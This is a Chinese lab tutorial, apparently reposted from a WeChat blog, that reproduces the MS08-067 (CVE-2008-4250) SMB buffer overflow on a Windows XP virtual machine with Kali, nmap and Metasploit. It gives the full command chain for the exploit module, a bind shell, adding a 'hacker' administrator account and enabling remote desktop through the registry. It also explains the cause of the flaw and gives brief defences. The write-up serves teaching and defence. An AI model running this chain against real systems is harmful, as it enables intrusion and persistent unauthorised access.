MS08-067远程代码执行漏洞复现及深度防御

admin 2024年7月15日11:13:17评论141 views字数 8527阅读28分25秒阅读模式

上一篇文章将详细介绍Windows远程桌面服务漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击。这篇文章将详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程,它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口,并通过Metasploit工具获取shell及进行深入的操作。希望对入门的同学有帮助。

话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,还请海涵。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。

文章目录:

  • 一.学习路线
  • 二.漏洞描述
  • 三.环境搭建
    • 1.环境准备
    • 2.端口详解
  • 四.利用Metasploit复现漏洞
  • 五.常见错误及漏洞原因分析
    • 1.常见错误
    • 2.漏洞成因
  • 六.总结

前文赏析:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

一.学习路线

下面是本人准备从零学习漏洞挖掘(Fuzzing入门)的部分技术路线,作为初学者分享与大家学习,也欢迎大家留言补充和讨论,共勉。

1.基础

  • 南大《程序分析》

    暂时无法播放,可回源网站播放

    https://haotianmichael.github.io/2021/05/04/NJU静态程序分析-1-Data-Flow-Analysis/

  • fuzzingbook
    https://www.fuzzingbook.org/
  • Fuzzing101
    https://github.com/antonio-morales/Fuzzing101
    https://blog.attify.com/fuzzing-iot-devices-part-1/
  • 顶会论文阅读:安全四大顶会+软工顶会

2.技术

  • AFL (源码解读)
  • angr (直接从github学习吗?):基本用法->实例
  • 模糊测试、污点分析、符号执行【动静态】
  • Ghidra(二进制、开源代表性工具)
  • 内核模糊测试工具:syzkaller
  • ASAN
  • codeql
  • MIASM

3.实战

  • 固件漏洞实际分析
  • 协议漏洞挖掘
  • 软件漏洞挖掘
  • Web渗透
  • IoT漏洞分析(路由设备)
  • 区块链漏洞挖掘(智能合约)
  • CVE和CNVD申请
  • n-day复现 => 0-day挖掘

4.趋势

  • LLM+Fuzzing:推荐作者分享的南洋理工大学刘杨教授笔记(见『网络攻防和AI安全之家』知识星球)
  • Web3+Fuzzing
  • 卫星+Fuzzing

二.漏洞描述

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

  • Windows 2000
  • Windows XP
  • Windows Server 2003

漏洞原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。

MS08-067远程代码执行漏洞复现及深度防御

本文参考了很多大佬的文章,再次感谢他们。实验部分是结合自己的实践和经验讲解,如果存在错误或不足之处,也请批评和指正。

三.环境搭建

1.环境准备

  • 受害机:Windows XP SP1镜像
  • 攻击机:Kali系统

第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。

MS08-067远程代码执行漏洞复现及深度防御

第二步,虚拟机两个系统之间能够相互通信。

  • Kali:192.168.44.136
  • Win XP:192.168.44.135

MS08-067远程代码执行漏洞复现及深度防御

MS08-067远程代码执行漏洞复现及深度防御

第三步,打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。

MS08-067远程代码执行漏洞复现及深度防御

第四步,关闭Windows XP系统的防火墙。

MS08-067远程代码执行漏洞复现及深度防御

做完这些初始准备之后,我们开始利用Kali系统进行漏洞复现。

2.端口详解

这里作者补充一些端口的基础知识,更有利于我们进行Web渗透实验。

(1) 端口作用
我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。

需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

MS08-067远程代码执行漏洞复现及深度防御

(2) 端口的分类
端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。

(3) 常见的端口

端口号 含义
21 FTP文件传输协议代理服务器常用端口号
22 SSH安全登录、SCP文件传输、端口重定向端口号
23 Telnet远程登录协议代理服务器常用端口号
25 SMTP Simple Mail Transfer Protocol (E-mail) 端口号(木马Antigen、WinPC等开放该端口)
53 DNS域名解析服务端口号
80/8080 HTTP协议代理服务器常用端口号
110 POP3“邮局协议版本3”使用的端口号
443 HTTPS加密的超文本传输服务端口号
445 通过SMB(服务器信息块)协议,访问各种共享文件夹或共享打印机
1080 SOCKS代理协议服务器常用端口号
1433 MSSQL SERVER数据库默认端口号
1521 Oracle数据库服务端口号
1863 MSN Messenger的文件传输功能所使用的端口号
3306 MYSQL默认端口号
3389 Microsoft RDP微软远程桌面使用的端口号
5631 Symantec pcAnywhere远程控制数据传输时使用的端口号
5632 Symantec pcAnywhere 主控端扫描被控端时使用的端口号
4000/8000 腾讯QQ端口号

(4) 黑客通过端口可以干什么

  • 信息收集
  • 目标探测
  • 服务判断
  • 系统判断
  • 角色分析

(5) 445端口
谢公子大佬在 “135、137、138、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。

本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。

四.利用Metasploit复现漏洞

  • 攻击机:Kali - 192.168.44.136
  • 受害机:Win XP - 192.168.44.135

第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。

nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。

MS08-067远程代码执行漏洞复现及深度防御

或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。

nmap  -sV -Pn 192.168.44.135

MS08-067远程代码执行漏洞复现及深度防御

第二步,进入Msfconsole并利用search语句查找漏洞利用模块。
终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。

msfconsolesearch ms08-067

MS08-067远程代码执行漏洞复现及深度防御

第三步,进入漏洞模块,并查看相关的使用说明。
使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。

use exploit/windows/smb/ms08_067_netapishow optionsshow targets

MS08-067远程代码执行漏洞复现及深度防御

第四步,设置攻击机、受害机信息。

# 目标机ipset RHOST 192.168.44.135# 端口号set RPORT 445# 设置payloadset payload generic/shell_bind_tcp# 攻击机ipset LHOST 192.168.44.136# 设置自动类型set target 0# 显示配置信息show options

MS08-067远程代码执行漏洞复现及深度防御

第五步,运行exploit反弹shell。
此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。

exploitsession 1ipconfigpwd

MS08-067远程代码执行漏洞复现及深度防御

注意:Windows XP SP1系统是中文而不是英文的,需要对ms08_067_netapi_ser2003_zh.rb处理。

  • 参考:MS08-067 远程执行代码 漏洞复现 - feizianquan

第六步,在目标主机上创建文件夹及文件。

cd ..# 创建文件夹mkdir hacker# 访问目录dircd hacker# 创建文件并写入内容echo eastmount>test.txt# 查看目标系统的基本信息sysinfo

MS08-067远程代码执行漏洞复现及深度防御

显示结果下图所示:

MS08-067远程代码执行漏洞复现及深度防御

第七步,对目标XP主机进行深度提权。

# 增加普通用户net user hacker 123456 /add # 提升管理员权限net localgroup administrators hacker /add

Windows DOM用户常用命令如下:

  • net user abcd 1234 /add
    新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
  • net user abcd /del
    将用户名为abcd的用户删除
  • net user abcd /active:no
    将用户名为abcd的用户禁用
  • net user abcd /active:yes
    激活用户名为abcd的用户
  • net user abcd
    查看用户名为abcd的用户的情况
  • net localgroup administrators abcd /add
    将abcd账户给予管理员权限

MS08-067远程代码执行漏洞复现及深度防御

此时被攻击的主机新增“hacker”管理员如下图所示:

MS08-067远程代码执行漏洞复现及深度防御

第八步,开启远程连接3389端口并进行远程操作。

# 开启远程连接echo reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:WINDOWSsystem323389.bat && call 3389.bat# 查看网络端口netstat -an# 远程连接rdesktop 192.168.44.135

首先查看端口,发现目标主机Windows XP并未开启3389端口。

MS08-067远程代码执行漏洞复现及深度防御

输入命令开启远程连接端口。

MS08-067远程代码执行漏洞复现及深度防御

接着输入“rdesktop 192.168.44.135”连接远程IP地址,并输入我们创建好的hacker用户名及密码。

MS08-067远程代码执行漏洞复现及深度防御

输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登录XP系统。

哇塞,是不是很惊讶!这也是本文的深度提权知识。

MS08-067远程代码执行漏洞复现及深度防御

最后,我们还需要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。

五.常见错误及漏洞原因分析

1.常见错误

我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:

  • Windows XP系统关闭防火墙
  • 漏洞不稳定多尝试几次

MS08-067远程代码执行漏洞复现及深度防御

有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出造成。

MS08-067远程代码执行漏洞复现及深度防御

MS08-067远程代码执行漏洞复现及深度防御

最终作者解决了XP系统无法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改为“set payload generic/shell_bind_tcp”。

  • 反弹shell失败:set payload generic/shell_reverse_tcp
  • 反弹shell成功:set payload generic/shell_bind_tcp

如果仍然失败,可能需要换其他XP或2003系统进行尝试。祝好运~

MS08-067远程代码执行漏洞复现及深度防御

2.漏洞成因

如果想了解该漏洞的原理知识,推荐以下三篇文章,后续作者也需要深入去分析各种漏洞的原代码。

  • https://www.cnblogs.com/justforfun12/p/5239941.html
  • https://bbs.pediy.com/thread-251219.htm
  • https://www.freebuf.com/vuls/203881.html

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

所谓路径规范化,就是将路径字符串中的【/】转换为【】,同时去除相对路径【.】和【..】。如:**/*/./**   =>  ********..**  =>  ****

在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

这里通过IDA Pro打开c:windowssystem32netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。

MS08-067远程代码执行漏洞复现及深度防御

六.总结

写到这里,这篇文章就介绍结束了,通过本次实验我们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深入理解,希望对您有所帮助。如何进行防御呢?一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如" ** … … *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。

本次实验的完整命令:

# 端口查询nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open# 查找漏洞利用模块msfconsolesearch ms08-067# 漏洞利用use exploit/windows/smb/ms08_067_netapishow optionsshow targets# 设置相关配置信息set RHOST 192.168.44.135set RPORT 445set payload generic/shell_bind_tcpset LHOST 192.168.44.136set target 0show options# 反弹shellexploitsession 1ipconfigpwd# 目标主机文件操作cd ..mkdir hackerdircd hackerecho eastmount>test.txtsysinfo# 深度提权及远程连接操作net user hacker 123456 /add net localgroup administrators hacker /addecho reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:WINDOWSsystem323389.bat && call 3389.batnetstat -anrdesktop 192.168.44.135

真的感觉自己技术好菜,要学的知识好多。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

(By:Eastmount 2024-07-14 夜于贵阳 )

参考文献:

  • [1] https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2008/MS08-067
  • [2] MS08-067利用 - s0mor
  • [3] MS08-067 远程执行代码 漏洞复现 - feizianquan
  • [4] MS08-067远程溢出漏洞(CVE-2008-4250)- Waldo_cuit
  • [5] MS08-067复现与简单分析 - 看雪论坛 有毒
  • [6] ms08-067漏洞复现与利用 - 张德亮
  • [7] CVE-2019-0708,MS17-010,MS08-067漏洞复现 - dazhuanlan
  • [8] Metasploit入门到精通 - i春秋视频
  • [9] Metasploitable渗透测试实战——Windows漏洞 MS08-067复现 - HsinTsao
  • [10] MS08_067漏洞学习研究 - justforfun12
  • [11] MS08-067漏洞原理及详尽分析过程 - FreeBuf Dhakkan
  • [12] 135、137、138、139和445端口 - 谢公子大佬

原文始发于微信公众号(娜璋AI安全之家):[漏洞挖掘与防护] 02.漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日11:13:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MS08-067远程代码执行漏洞复现及深度防御https://cn-sec.com/archives/2954175.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息